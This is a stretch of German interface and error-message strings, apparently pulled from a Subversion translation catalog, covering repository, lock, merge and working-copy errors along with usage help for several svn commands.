Verzeichnis befindet?Eintrag hat ein ungültiges AttributEintrag hat keine URLEintrag hat keine RevisionFehler beim Abbrechen des ReportsFehler bei Eintrag %d in Eintragsdatei für »%s«:Fehler beim Weiterschalten der Revisionen nach der Übertragung (Details folgen):Fehler beim Aufrufen eines externen ProgrammesFehler beim Schließen von Verzeichnis »%s«Fehler beim Schließen des DateisystemsFehler beim Schließen der leeren StandardausgabeFehler beim Schließen des Lese-Endes der StandardfehlerausgabeFehler beim Schließen des Schreib-Endes der StandardfehlerausgabeFehler beim Vergleichen von »%s« und »%s«Fehler beim Konvertieren der Tiefe aus Locale nach UTF-8Fehler beim Konvertieren eines Eintrags im Verzeichnis »%s« nach UTF-8Fehler beim Kopieren der Logdatei; die Funktion DB_LOG_AUTOREMOVE
könnte den Hotcopy-Algorithmus stören. Falls das Problem weiterhin
besteht, versuchen Sie diese Funktion in DB_CONFIG abzuschaltenFehler beim Hinzufügen von »%s«Fehler beim rekursiven Kopieren von »%s«Fehler beim Ermitteln der »letzten Änderungszeit« von »%s«Fehler beim Ermitteln der »letzten Änderungszeit« von »%s«Fehler beim Ermitteln der »letzten Änderungszeit« von »%s«Fehler beim Ermitteln der Prozess-UIDFehler beim Ermitteln der Dateigröße von »%s«Fehler beim Umgang mit der Definition des externen Verweises für »%s«:Fehler in Kindprozess: %sFehler beim Aufräumen nach der Übertragung (Details folgen):Fehler beim Initialisieren der KommandozeilenparameterFehler beim Bearbeiten des Eintrags für »%s«Fehler beim Bearbeiten des Eintrags von »%s«Fehler beim Normalisieren des bearbeiteten Inhalts ins interne FormatFehler beim Normalisieren der Logmeldung ins interne FormatFehler beim Öffnen der Datenbank-SperrdateiFehler beim Analysieren der %s Eigenschaft für »%s«: »%s«Fehler beim Zerlegen von »%s«Fehler beim Einlesen der ParameterFehler beim Zerlegen der VergleichsoptionenFehler beim Abfragen des »memcache«-Servers »%s«Fehler beim Einlesen der RevisionsnummerFehler beim Einlesen der BaumkonfliktvorlageFehler beim Bearbeiten des Befehls »%s« in »%s«Fehler beim Lesen der Änderungen für Schlüssel »%s«Fehler beim Lesen der Antwort auf die %s Anfrage von FestplatteFehler beim Aufzeichnen von Baumkonflikten in »%s«Fehler beim Entfernen der Änderungsliste von Eintrag »%s«Fehler beim Entfernen des Sperreintrags für »%s«Fehler beim Ersetzen der Textbasis von »%s«Fehler beim Ermitteln der Groß-/Kleinschreibung von »%s«Fehler beim Wiederherstellen des Textes für »%s«Fehler beim Holen von REPORT (%d)Fehler beim Holen des Wiederholungs-REPORT (%d)Fehler beim Ausführen von »%s«:  Rückgabewert: %d, Parameter:
in Verzeichnis »%s«, Basisnamen:
%s
%s
%sFehler beim Ausführen der Katastrophen-Wiederherstellung im
laufenden Betrieb (hotcopy); die Funktion DB_LOG_AUTOREMOVE
könnte den Hotcopy-Algorithmus stören. Wenn das Problem weiterhin
besteht, versuchen Sie diese Funktion in DB_CONFIG abzuschaltenFehler beim Ausführen des Editors.Fehler beim Ausführen des Editors; behalte alle Konflikte bei.Fehler beim Ausführen des Zusammenführungsprogramms.Fehler beim Ausführen des Zusammenführungsprogramms; behalte alle Konflikte bei.Fehler beim Ausführen der Aktion »post-commit«Fehler beim Ausführen der Aktion »post-lock«Fehler beim Ausführen der Aktion »post-unlock«Fehler beim Setzen der Eigenschaft »%s«: Fehler beim Entsperren von Verzeichnissen (Details folgen):Fehler bei der Validierung des Serverzertifikats für »%s«:
Fehler beim Warten auf Prozess »%s«Fehler beim Schreiben der Eintragsdatei für »%s«Fehler beim Schreiben des Hashwerts nach »%s«Fehler beim Schreiben des Logs für »%s«Fehler beim Schreiben in Datenstrom: unerwartetes EOFFehler beim Schreiben in »%s«Fehler beim Schreiben nach »%s«: unerwartetes EOFGenau ein Dateiparameter benötigtGenau ein Eigenschaftsname und ein Dateiparameter erforderlichPräfixe ausschließen (und leere Revisionen verwerfen):
Präfixe ausschließen:
Erwartete, dass »%s« ein Verzeichnis ist, es ist aber eine DateiErwartete, dass »%s« eine Datei ist, es ist aber ein VerzeichnisErwartete »revprops«, fand »%s«Erwartetes Dateisystemformat »%d«; gefunden »%d«Erwartete Dateisystemformat zwischen 1 und %d; fand %dErwartete SQLite-Datenbank wurde nicht gefunden: %sErwartete eine gültige Revisionsnummer samt PfadErwartete, dass aktuelle Revision <= %ld gilt, fand aber %ldErwartete Zeile der Datenbank fehltErwartetes Format des Projektarchivs »%d« oder »%d«; gefunden »%d«Erwartete einen gültigen RevisionsbereichLäuft ab: %s
Expliziter Zielparameter benötigtExplizites Ziel erforderlich (»%s« als Eigenschaftswert interpretiert)Export abgeschlossen.
Externer Verweis exportiert, Revision %ld.
Exportiert, Revision %ld.
Externer Verweis, Revision %ld.
Auschecken des externen Verweises abgeschlossen.
Export des externen Verweises abgeschlossen.
Aktualisierung des externen Verweises abgeschlossen.
Zusätzliche Zeile der Datenbank wurde gefundenDas Dateisystemformat ist zum Packen zu alt, bitte aktualisieren Sie.Konnte Verzeichnis »%s« nicht hinzufügen: ein nicht-Verzeichnisobjekt mit demselben Namen existiert bereitsKonnte Verzeichnis »%s« nicht hinzufügen: ein versioniertes Verzeichnis mit demselben Namen existiert bereitsVerzeichnis »%s« konnte nicht hinzugefügt werden: ein nicht versioniertes Verzeichnis mit demselben Namen existiert bereitsKonnte Verzeichnis »%s« nicht hinzufügen: Parameter »copyfrom« wird noch nicht
unterstütztKonnte Verzeichnis »%s« nicht hinzufügen, da es denselben Namen wie das
Administrationsverzeichnis trägtKonnte die Datei »%s« nicht hinzufügen: ein nicht-Dateiobjekt mit demselben
Namen existiert bereitsDatei »%s« konnte nicht hinzugefügt werden: eine nicht versionierte Datei mit demselben Namen existiert bereitsBerechnung der MD5-Summe für »%s« schlug fehlKonnte nicht mit dem Service Control Manager verbindenKonnte winservice_start_event nicht erzeugenKonnte mmap »%s« nicht löschenKonnte WebDAV PROPPATCH nicht ausführenKonnte Sperrinformationen nicht ermittelnMarke »%s« für URL »%s« nicht gefundenKonnte Zeit für Revision %ld nicht ermittelnKonnte keinen exklusiven Zugriff auf das Projektarchiv erlangen
Vielleicht hat noch ein anderer Prozess (httpd, svnserve, svn)
das Projektarchiv geöffnet?Konnte Sperre für Zielprojektarchiv nicht erhalten, die zurzeit von
»%s« gehalten wird
Konnte keinen neuen Schlüssel erzeugenKonnte Modul für Dateisystemtyp »%s« nicht ladenKonnte Eigenschaften nicht vom Datenträger ladenPfad von »copyfrom« konnte in der Arbeitskopie nicht gefunden werdenKonnte »%s« nicht als fehlend markieren: ein Objekt mit demselben Namen wurde
bereits zur Übertragung eingeplantKonnte URI »%s« nicht zerlegenWiederherstellen von »%s« schlug fehl -- Versuchen Sie statt dessen zu aktualisieren.
Ausführen der Aktion »%s« gescheitert; defekter »Symlink«Konnte Aktion »%s« nicht startenKonnte nicht alles in den Datenstrom schreibenFehler beim Schreiben der aktualisierten DateiFehler beim Laden eines PluginsFehler beim Öffnen von »%s«Fehler beim Lesen der Darstellung »%s«Datei »%s« existiert bereitsDatei »%s« hat die MIME-Typ Eigenschaft »binär«Datei »%s« hat inkonsistente ZeilenendenDie Datei »%s« hat lokale ÄnderungenDatei »%s« im Verzeichnis »%s« ist keine versionierte RessourceDatei »%s« ist veraltetDatei »%s« ist veraltet; versuchen Sie zu aktualisierenDatei existiert bereits: Dateisystem »%s«, Revision %ld, Pfad »%s«Datei existiert bereits: Dateisystem »%s«, Transaktion »%s«, Pfad »%s«Datei ist nicht veränderlich: Dateisystem »%s«, Revision %ld, Pfad »%s«Datei nicht gefunden: Revision %ld, Pfad »%s«Datei nicht gefunden: Transaktion »%s«, Pfad »%s«Datei oder Verzeichnis »%s« ist veraltet; versuchen Sie zu aktualisierenVerzeichnis des Dateisystems hat keinen solchen EintragDateisystem hat keinen EintragDateisystem hat keinen solchen Indexdatensatz zur Prüfsummen-RepräsentationDateisystem hat keine solche KopieDateisystem hat keine solche SperreDateisystem hat keinen solchen KnotenursprungsdatensatzDateisystem hat keine solche Knotenrevisions-IdDateisystem hat keine solche DarstellungDateisystem hat keinen solchen StringDateisystem ist bereits geöffnetDateisystem ist beschädigtDateisystem ist nicht geöffnetDateisystemobjekt ist bereits geöffnetDateisystemobjekt ist noch nicht geöffnetPfad »%s« ist weder eine Datei noch ein VerzeichnisDateisystemaktualisierung wird nicht unterstütztKnoten mit den angegebenen Präfixen aus dem Datenstrom ausfiltern.
Aufruf: svndumpfilter exclude PFAD_PRÄFIX ...
Knoten, die nicht den angegebenen Präfixen entsprechen, aus dem Datenstrom ausfiltern.
Aufruf: svndumpfilter include PFAD_PRÄFIX ...
Letzte Zeile in der Revisionsdatei ist länger als 64 ZeichenLetzte Zeile in der Revisionsdatei enthält kein LeerzeichenDie erste Zeile von »%s« enthält eine Nicht-ZifferDie erste Revision darf kann nicht größer als zweite seinDie Formatdatei »%s« enthält eine unerwartete Nicht-ZifferFormat einer svn:externals Eigenschaft war ungültigPfad einer Arbeitskopie gefundenEin nicht geschütztes \0 wurde im externen Dateiverweis »%s« gefundenFehlerhafter Kopf in Revisionsdatei gefundenRahmenfehler im »Pipe«-ProtokollGET-Anfrage schlug fehl: %d %sAllgemeiner DateisystemfehlerFand Element »apply-textdelta« ohne vorhergehendes »add-file« oder »open-file«Fand cdata-Inhalt für eine EigenschaftslöschungFand Element »close-directory« ohne vorhergehendes Öffnen eines VerzeichnissesFand Element »close-file« ohne vorhergehendes »add-file« oder »open-file«Quellpfad, aber keine Quellrevision für »%s« erhaltenUnbekannte Codierung »%s«HTTP Pfad nicht gefundenUngültiger Revisionstyp des externen Dateiverweises %d für Pfad »%s«Illegale URL des übergeordneten Verzeichnisses »%s«Illegale Projektarchiv-URL »%s«Illegale Projektarchivwurzel-URL »%s«Illegale svn Projektarchiv URL »%s«Ungültiges Ziel für die angeforderte OperationUnmöglich lange Projektarchivbasis vom ServerFehlerhafte relative URL »%s«In Verzeichnis »%s«In Datei »%s«, Zeile %d: Assert-Anweisung schlug fehl (%s)In Datei »%s«, Zeile %d: interne FehlfunktionPräfixe einschließen (und leere Revisionen verwerfen):
Präfixe einschließen:
Inkompatible BibliotheksversionUnvollständige DatenUnvollständige Sperrdaten zurückgegebenEigenschaftsblock ist unvollständig oder nicht terminiertStil für Zeilenende ist inkonsistentInkorrekte Parameter übergebenInkorrekte Parameter übergebenIndexInitialisierung der SSPI-Bibliothek schlug fehlEingabe/Ausgabe FehlerNachfrage nach unbekannter EigenschaftUmplatzieren innerhalb des Projektarchivs nicht erlaubtInterner Fehler: Es gibt ein unbekanntes Elternteil (%d) für das »DAV:response« Element innerhalb der MERGE-AntwortUngültige Eigenschaft %s zu »%s«: Eine URL »%s« kann nicht als Zielverzeichnis für eine externe Definition verwendet werdenUngültige Eigenschaft %s zu »%s«: Es können nicht zwei absolute URLs (»%s« und »%s«) in einem externen Verweis verwendet werden; eine muss ein Pfad sein, in den eine absolute oder relative URL ausgecheckt wirdUngültige Eigenschaft %s auf »%s«: Ziel »%s« ist ein absoluter Pfad oder enthält »..«Ungültiger Parameter »conflict_result«Ungültiges »format«-AttributUngültiges Feld »node_kind« in BaumkonfliktbeschreibungUngültige URL »%s«Ungültige URL: Illegales Zeichen in Proxy PortnummerUngültige URL: Negative Proxy PortnummerUngültige URL: Proxy Portnummer ist größer als die maximale TCP Portnummer 65535Ungültiges Argument »%s« in VergleichsoptionenUngültige authz KomfigturationUngültiger Änderungstyp in Rev DateiUngültige Reihenfolge bei Änderung: Neue Knoten Revisions ID ohne LöschenUngültige Reihenfolge bei Änderung: Nicht-hinzufügende Änderung auf gelöschtem PfadUngültiger ÄnderungstypUngültige »changes« Zeile in Rev DateiUngültiges Zeichen »%c« in der Bereichsliste gefundenUngültiges Zeichen »%c« in Revisionsliste gefundenUngültiges Zeichen in der Hex-Prüfsumme gefundenUngültige Konfiguration: Illegales Zeichen in DebugmaskeUngültige Konfiguration: Illegales Zeichen im Timeout-WertUngültige Konfiguration: Negativer Timeout-WertUngültige Konfiguration: PKCS#11-Anbieter »%s« kann nicht geladen werdenUngültige Konfiguration: Zertifikatsdatei »%s« kann nicht geladen werdenUngültige Konfiguration: Unbekannte HTTP-Bibliothek »%s«Ungültige Konfiguration: Unbekannter HTTP-Autorisationstyp »%s«Ungültige Konfiguration: Unbekannte Passwortverwaltung »%s«Ungültiger KonfigurationswertUngültige Konfliktinformation in Baumkonfliktbeschreibung«Ungültiges Steuerzeichen »0x%02x« in Pfad »%s«Ungültiger Quellpfad einer Kopie: »%s«Ungültiges Erzeugungsdatum im Header-Feld in Antwort.Ungültige Tiefe (%c) für Pfad »%s«Ungültiger Diff-Strom: [Neu] insn %d läuft in die neue Datensektion überUngültiger Diff-Strom: [Quelle] insn %d läuft in die Quellansicht überUngültiger Diff-Strom: [Ziel] insn %d startet hinter der ZielpositionUngültiger Diff-Strom: insn %d kann nicht dekodiert werdenUngültiger Diff-Strom: insn %d hat negative LängeUngültiger Diff-Strom: insn %d läuft in die Zielansicht überUngültiger Editoranker; zumindest einer der Eingabepfade ist kein Verzeichnis und es gab keinen QuelleintragUngültige Endrevision %ldUngültiger Abschluss des EintragsUngültige Escape-SequenzUngültiges geschütztes ZeichenUngültige Datei- oder Verzeichnismarke während der BearbeitungUngültige Pfadsyntax des DateisystemsUngültige Revisionsnummer des DateisystemsUngültiger Transaktionsname des DateisystemsUngültige Länge (%%%s) beim Lesen einer ZeichenketteUngültige SperreUngültige Operation auf dem aktuellen ArbeitsverzeichnisUngültige Option.

Ungültige Option; Auswahl anhand von Konflikten ist für Eigenschaften nicht möglich.

Ungültige Option; Auswahl anhand von Konflikten ist in einer Binärdatei nicht möglich.

Ungültige Option; Anzeige von Konflikten ist für Binärdateien nicht möglich.

Ungültige Option; Anzeige von Konflikten ist für Eigenschaften nicht möglich.

Ungültige Option; Originaldateien nicht verfügbar.

Ungültige Option; es gibt keine zusammengeführte Version zum Vergleichen.

Ungültige Option; es gibt keine zusammengeführte Version zum Bearbeiten.

Ungültige Peg-Revision %ldUngültiges »prop-mod« Flag in Rev DateiUngültiges UmplatzierenUngültiger Report für oberste Ebene der ArbeitskopieUngültige Revisionsnummer »%ld«Ungültige Revisionsnummer (%ld)Ungültige Revisionsnummer beim Einlesen von »%s« gefundenUngültige Revisionsnummer angegebenUngültige Revision angegebenUngültiger PlanUngültige Antwort des Servers auf datierte RevisionsanfrageUngültige Startrevision %ldUngültiges WechselnUngültige Syntax im Argument von --config-optionUngültiger ZielpfadUngültiges »text-mod« Flag in Rev DateiUngültiger Timeout-WertUngültiger Wert (%%%s) für Knotenrevisions-ZusammenführungszählerUngültiger Wert für Feld »%s«Ungültige Versionsinformation in BaumkonfliktbeschreibungUngültige Versionszeile in Datei »entry« von »%s«Objekt existiert bereits im DateisystemEintrag ist nicht lesbarEintrag ist nicht schreibbarEintrag ist veraltetEintrag ist nur teilweise lesbarIteration brach vor der Fertigstellung abNutzlose Knotenrevision im ZwischenspeicherLetzter Autor: %s
Letztes ÄnderungsdatumLetzte geänderte Rev: %ld
Letzte zusammengeführte Revision: %s
Lokal veränderte oder nicht versionierte Dateien zurück gelassenZeilenende anders als erwartetListet alle Eigenschaften von Dateien, Verzeichnissen oder
Revisionen auf.
Aufruf: 1. proplist [ZIEL[@REV]...]
        2. proplist --revprop -r REV [ZIEL]

  1. Listet versionierte Eigenschaften in der Arbeitskopie auf.
     REV bestimmt, in welcher Revision zuerst nachgeschaut wird.
  2. Listet nicht versionierte Eigenschaften im Projektarchiv auf.
     ZIEL legt nur das Projektarchiv fest, auf das zugegriffen wird.
Zeigt Verzeichniseinträge im Projektarchiv.
Aufruf: list [ZIEL[@REV]...]

  Listet jede ZIEL-Datei und die Inhalte jedes ZIEL-Verzeichnisses, wie
  sie im Projektarchiv existieren, auf. Wenn ZIEL eine Arbeitskopie ist,
  wird die entsprechende URL des Projektarchivs verwendet. REV bestimmt,
  in welcher Revision zuerst nachgeschaut wird.

  Die Vorgabe für ZIEL ist ».«, d.h. die URL vom Projektarchiv des
  aktuellen Verzeichnisses.

  Mit »--verbose« werden die folgenden Felder pro Objekt angezeigt:

    Revisionsnummer der letzten Übertragung
    Autor der letzten Übertragung
    Falls gesperrt, der Buchstabe »O« (»svn info URL« für Details)
    Größe (in Bytes)
    Datum und Zeit der letzten Übertragung
Lokale URL »%s« enthält nur einen Rechnernamen aber keinen PfadLokale URL »%s« enthält einen nicht unterstützten RechnernamenLokale URL »%s« enthält keinen »file://« PräfixLokale Operationen ohne Übertragung benötigen keine Logmeldung oder RevisionseigenschaftenOrtseintrag ist keine ListeOrtssegmenteintrag ist keine ListeOrtssegmentreport schlug auf »%s«@»%ld« fehlSperrenSperrkommentar (%i Zeile):
%s
Sperrkommentar (%i Zeilen):
%s
Sperre erzeugtSperre läuft abSperreigner: %s
Sperrmarke: %s
Sperrkommentar enthält ein Null-ByteSperrkommentar enthält illegale ZeichenDie Datei für den Sperrkommentar ist versioniert; geben Sie »--force-log« an, um sie zu verwendenSperrelement ist keine ListeSperren schlug fehl: eine neuere Version von »%s« existiertSperrdatei »%s« ist keine reguläre DateiSperre ist abgelaufenSperre lief aus: Sperrmarke »%s« in Dateisystem »%s«Sperranforderung gescheitert: %d %sAntwort beim Sperren ist keine ListeSperrmarke ist fehlerhaftSperrt Pfade in Arbeitskopie oder URLs im Projektarchiv, so dass kein
anderer Anwender Änderungen an ihnen übertragen kann.
Aufruf: lock ZIEL...

  Benutze --force, um eine bereits vorhandene Sperre zu stehlen.
Log-Kommando für Verzeichnis »%s« ist falsch platziert»name«-Attribut fehlt im Log-Eintrag (Eintrag »%s« für Verzeichnis »%s«)Logeintrag ist keine ListeLogmeldung enthält ein Null ByteDie Datei für die Logmeldung ist versioniert; geben Sie »--force-log« an, um sie zu verwendenLogpfadeintrag ist keine ZeichenketteLog-Revisionseigenschaftseintrag ist keine ZeichenketteMD5 Prüfsumme fehltMD5-Prüfsummenfehler auf Darstellung »%s«:
   Erwartet:    %s
   Tatsächlich: %s
MIME-Typ »%s« enthält ein ungültiges Zeichen »%c«MIME-Typ »%s« enthält keinen »/«MIME-Typ »%s« hat einen leeren MedientypFehlerhafte URL für ProjektarchivFehlerhafte UUID »%s«Fehlerhaftes XML: %s in Zeile %ldFehlerhafte »copyfrom«-Zeile in KnotenrevisionFehlerhafte »copyroot«-Zeile in KnotenrevisionDateiabzug enthält ungültigen KopfFehlerhafter Dateiabzug: Revision 0 darf keine Knoteneinträge enthaltenFehlerhafte FehlerlisteFehlerhafte DateiFehlerhafte NetzwerkdatenFehlerhafter DarstellungskopfFehlerhafte SchablonendatenFehlerhafter DatenstromFehlerhafte svndiff-Daten in DarstellungFehlerhafte »text rep offset«-Zeile in KnotenrevisionKonflikt beim Zusammenführen während der ÜbertragungDie Zusammenführung aus fremdem Projektarchiv ist nicht kompatibel mit Änderungen der ZusammenführungsinformationenDie Zusammenführungsquelle muss angegeben werdenZusammengeführt mittels:Zusammenführungsinfo-Element ist keine ListeZusammenführungsinformationen für »%s« verweisen auf einen leeren RevisionsbereichEinlesefehler für ZusammenführungsinformationenFehler beim Abrufen des Abwicklungsstapels der ArbeitskopieVersionen in Dateisystemmodul »%s« stimmen nicht überein: gefunden %d.%d.%d%s, erwartet %d.%d.%d%sVersion des ZM »%s« stimmt nicht überein: gefunden %d.%d.%d%s, erwartet %d.%d.%d%sFehlendes »dest« Attribut für »%s«Fehlendes »left« Attribut für »%s«Fehlendes Attribut »realm« in Autorisations-HeaderFehlendes Revisions Attribut für »%s«Fehlendes »right« Attribut für »%s«Fehlendes »timestamp« Attribut für »%s«»%s« fehlt in der Liste der geänderten Pfade von Revision %ldFehlendes Attribut »copyfrom-rev« in Element »add-directory«Fehlendes Attribut »copyfrom-rev« in Element »add-file«Fehlender »cpath« in KnotenrevisionFehlender StandardeintragFehlendes Zeilenende in Datei »wcprops« für »%s«Fehlender Abschluss des EintragsFehlendes ID-Feld in KnotenrevisionFehlendes Feld »kind« in KnotenrevisionFehlender Zusammenführungsquellpfad »%s«; versuchen Sie es mit --skip-missing-merge-sourcesFehlendes Namensattribut in Element %sFehlendes Namensattribut in Element »absent-directory«Fehlendes Namensattribut in Element »absent-file«Fehlendes Namensattribut in Element »add-directory«Fehlendes Namensattribut in Element »add-file«Fehlendes Namensattribut in Element »delete-entry«Fehlendes Namensattribut in Element »open-directory«Fehlendes Namensattribut in Element »open-file«Fehlendes Namensattribut in Element »remove-prop«Fehlendes Namensattribut in Element »revprop«Fehlendes Namensattribut in Element »set-prop«Fehlende Knoten-Id in KnotenrevisionFehlender Pfad ParameterFehlendes Pfadattribut in Ressourcen-ElementEigenschaftsname und Pfad im Projektarchiv nicht angegebenFehlender PROPNAME ParameterEigenschaftsname oder Pfad im Projektarchiv nicht angegebenFehlende Option für Pfad des ProjektarchivsFür den Knoten fehlt eine erforderliche Revisions IDEs wurde keine Revision angegebenFehlendes Revisionsattribut in Element »open-directory«Fehlendes Revisionsattribut in Element »open-file«Fehlendes Revisionsattribut in Element »target-revision«Fehlende RevisionFehlendes Revisionsattribut in Element »delete-entry«Fehlendes Revisionsattribut in Element »open-directory«Fehlendes Revisionsattribut in Element »open-file«Fehlendes Revisionsattribut in Element »open-root«Fehlendes Revisionsattribut in Element »target-revision«GeändertModifiziert: %s
Geändert: %s%sModul zum Zugriff auf ein Projektarchiv auf der lokalen FestplatteModul zum Zugriff auf ein Projektarchiv über das svn-NetzwerkprotokollModul zum Zugriff auf ein Projektarchiv über das svn-Netzwerkprotokoll.
  - mit Cyrus-SASL-AuthentifizierungModul zum Zugriff auf ein Projektarchiv über das Protokoll WebDAV mittels Neon.Modul zum Zugriff auf ein Projektarchiv über das Protokoll WebDAV mittels serf.Modul zum Zugriff auf ein Berkeley-DB-Projektarchiv.Modul zum Zugriff auf ein dateibasiertes (FSFS) Projektarchiv.Verschiebt oder benennt etwas in der Arbeitskopie oder
im Projektarchiv um.
Aufruf: move QUELLE... ZIEL

Beim Verschieben mehrerer Quellen, werden sie als Kinder von ZIEL
hinzugefügt, was ein Verzeichnis sein muss.

  Hinweis: Dieser Unterbefehl entspricht der Folge »copy« und »delete«.
  Hinweis: Die Option --revision bewirkt nichts und wird missbilligt.

  QUELLE und ZIEL können beides Arbeitskopiepfade (AK) oder URLs sein:
    AK  -> AK:   Verschieben und zum Hinzufügen (mit Historie) einplanen
    URL -> URL:  Vollständig serverseitiges Verschieben.
  Alle QUELLEn müssen vom selben Typ sein.
Verschiebungen zwischen der Arbeitskopie und dem Projektarchiv sind nicht unterstütztVerschieben eines Pfades von einer Änderungsliste in eine andereMehrere Revisionsparameter gefunden; bitte nicht zweimal -c oder gleichzeitig -r und -c angebenMehrere Revisionsparameter gefunden; Bitte »-r N:M« anstelle »-r N -r M« verwendenDer Rechner und Port muss für den »memcache«-Server »%s« festgelegt werdenDie Revision muss als Zahl, Datum oder »HEAD« angegeben werden, wenn auf eine Revisionseigenschaft zugegriffen wirdDie Parameter schließen sich gegenseitig ausZusammenführungsinformationen sind NULL
Zusammenführungsinformationskatalog ist NULL
Name bezeichnet kein Verzeichnis des DateisystemsName bezeichnet keine Datei des DateisystemsName ist keine einzelne PfadkomponenteName: %s
Negatives Ablaufdatum an svn_fs_lock übergebenNegative Revisionsnummer beim Einlesen von »%s« gefundenNeon konnte die URL »%s« nicht zerlegenNetzwerkverbindung wurde unerwartet geschlossenNetzwerk-Lese-/-SchreibfehlerInitialisierung der Netzwerkverbindung schlug fehlNeuer Eintragsname erforderlich, wenn eine Datei importiert wirdKein ».« Eintrag in: »%s«Kein Pfad für die Anmeldedatei verfügbarKein Anbieter für Anmeldung verfügbarKeine Änderungen der Eigenschaft »%s« für »%s«
Eigenschaft »%s« in Revision %ld nicht geändert
Keine Übertragungen im ProjektarchivKein gemeinsamer Vorgänger gefunden. Kann nicht mit disjunkten Pfaden arbeitenKeine Kopie mit ID »%s« in Dateisystem »%s«Kein erzeugter PfadVerzeichnis »%s« hat keinen StandardeintragKein Editor gefunden.Kein Editor gefunden; behalte alle Konflikte bei.Kein externer Editor verfügbarKein externes Werkzeug zum Zusammenführen verfügbarKeine Angabe von fetch_func für update_editorKeine Sperre für Pfad »%s« im Dateisystem »%s«Keine Sperrmarke angegebenKein Programm zum Zusammenführen gefunden.
Kein Programm zum Zusammenführen gefunden; behalte alle Konflikte bei.Kein Teil des Pfades »%s« wurde in HEAD des Projektarchivs gefundenVor »:« steht kein PfadnameKeine Pfade zum Entsperren angegebenKein Datensatz in der »checksum-reps«-Tabelle für Prüfsumme »%s« im Dateisystem »%s«Kein Datensatz in der »node-origins«-Tabelle für Knoten-ID »%s« im Dateisystem »%s«Ein solches Attribut des XML-Tags existiert nichtKein Eintrag: »%s«Eine solche Darstellung »%s« existiert nichtKeine Revision %ldKeine solche Revision %ld im Dateisystem »%s«Keine solche TransaktionKeine Marke für Pfad »%s« in Dateisystem »%s« angegebenKeine Transaktion namens »%s« in Dateisystem »%s«Kein Benutzer mit dem Dateisystem verbundenZurzeit ist kein Benutzername mit dem Dateisystem »%s« verbundenKeine gültige Quellrevision im gefilterten DatenstromKein gültiger Revisionsbereich »end« im gefilterten DatenstromKein gültiger Revisionsbereich »start« im gefilterten DatenstromKeine versionierten ElternverzeichnisseKeine Schreibsperre in »%s«Knotentyp: Verzeichnis
Knotentyp: Datei
Knotentyp: keiner
Knotentyp: unbekannt
Knotenursprung für »%s« existiert im Dateisystem »%s« mit einem anderen Wert (%s) als der, der gespeichert werden soll (%s)Knotenursprung für »%s« existiert mit einem anderen Wert (%s) als der, der gespeichert werden soll (%s)Knotenrevision #»%s« behauptet, Zusammenführungsinformationen zu haben, hat aber keineKnotenrevision »%s« behauptet, Zusammenführungsinformationen zu haben, hat aber keineKnotenrevision »%s« behauptet, über einem Baum, der Zusammenführungsinformationen enthält, zu sitzen, ist aber kein VerzeichnisKnotenrevision »%s@%ld« behauptet, Zusammenführungsinformationen zu haben, hat aber keineEin Nicht-ASCII Zeichen (Kode %d) wurde gefunden, das nicht von/nach UTF-8 konvertiert werden konnteNicht-numerischer Parameter (%s) an -c übergebenNicht-numerische Bereichsgrenze angegebenEin Teil des Dateiinhaltes ist keine ZeichenketteKeine der Umgebungsvariablen SVN_EDITOR, VISUAL oder EDITOR ist gesetzt und keine Laufzeitkonfigurationsoption »editor-cmd« wurde gefundenEs sind nicht alle erforderlichen Revisionen angegebenKeine Berechtigung die Basis der Änderung zu öffnenNicht genügend Parameter angegebenNicht genügend Parameter angegebenLeere Darstellung, aber der Offset ist bereits größer als NullZahl ist größer als MaximumObjekt ist keine RevisionsbasisObjekt ist keine TransaktionsbasisAktualisierung behindertEin oder mehrere Konflikte wurden beim Zusammenführen von r%ld:%ld in
»%s« erzeugt.
Lösen Sie alle Konflikte auf und starten Sie die Zusammenführung
erneut, um die fehlenden Revisionen zusammenzuführenNur SHA1-Prüfsummen können als Schlüssel in der Tabelle checksum-reps verwendet werden.
Nur SHA1-Prüfsummen können als Schlüssel in der Tabelle rep_cache verwendet werden.
Derzeit werden nur Vergleiche zwischen der Textbasis und den Arbeitsdateien eines Pfades unterstütztNur eine Revision zulässigNach einer URL können nur relative Pfade angegeben werdenOperation ist nicht auf einer Binärdatei ausführbarOperation ist nicht auf einem Verzeichnis ausführbarDie Operation unterstützt nicht mehrere QuellenDie Option --tunnel-user ist nur im Tunnelmodus zulässig.
Gibt den Inhalt der angegebenen Dateien oder URLs mit
den Revisions- und Autoreninformationen für jede Zeile aus.
Aufruf: blame ZIEL[@REV]...

  Falls angegeben, bestimmt REV, in welcher Revision zuerst nachgeschaut wird.
Gibt den Inhalt der angegebenen Dateien oder URLs aus.
Aufruf: cat ZIEL[@REV]...

  Falls angegeben, bestimmt REV, in welcher Revision zuerst nachgeschaut wird.
Eigentümer: %s
PIN für Token »%s« in Slot »%s«Packe %s ...Inhalt der Datei PAR als zusätzliche Parameter
                             übergebenPassphrase für »%s«: Passwort für GNOME-Schlüsselring »%s«: Passwort für »%s«: Pfad »%s« existiert bereitsPfad »%s« existiert bereits, ist aber kein VerzeichnisPfad »%s« enthält ein Element ».« oder »..«Pfad »%s« existiert nichtPfad »%s« existiert nicht in Revision %ldPfad »%s« existiert nicht in HEAD-RevisionPfad »%s« existiert nicht in Revision %ldPfad »%s« endet mit »%s«, was für diese Operation nicht erlaubt istPfad »%s« hat keine übertragene RevisionPfad »%s« ist bereits vom Benutzer »%s« im Dateisystem »%s« gesperrtPfad »%s« ist nicht länger ein Element einer Änderungsliste.
Pfad »%s« ist keine URLPfad »%s« ist kein VerzeichnisPfad »%s« ist keine DateiPfad »%s« ist kein UTF-8Pfad »%s« ist nicht in der Arbeitskopie enthaltenPfad »%s« ist nun ein Element der Änderungsliste »%s«.
Pfad »%s« ist nicht gesperrt.
Pfad »%s« muss ein unmittelbares Kind von Verzeichnis »%s« seinPfad »%s« wurde in der HEAD-Revision nicht gefundenPfad »%s« wurde in Revision %ld nicht gefundenPfad »%s« existiert nichtPfad hat keine SperrmarkePfad ist bereits gesperrtPfad ist keine ZeichenkettePfad ist kein Verzeichnis in einer ArbeitskopiePfad ist keine Datei in einer ArbeitskopiePfad ist kein direktes Kind des spezifizierten VerzeichnissesPfad ist nicht gesperrtPfadsyntax wird in diesem Zusammenhang nicht unterstütztPfad: %s
Pfadnamen sind nicht durch »:« getrenntPeg-Revision muss vor der Endrevision liegenBitte geben Sie »ja« oder »nein« ein: Vorzeitiges EOF vom ServerVorzeitiges Ende der Daten im DateiabzugGibt den Status der Dateien und Verzeichnisse der
Arbeitskopie aus.
Aufruf: status [PFAD...]

  Listet ohne weitere Optionen nur lokal geänderte Objekte (kein Netzzugriff)
  auf.
  »-q« gibt nur Zusammenfassungen über lokal modifizierte Objekte aus.
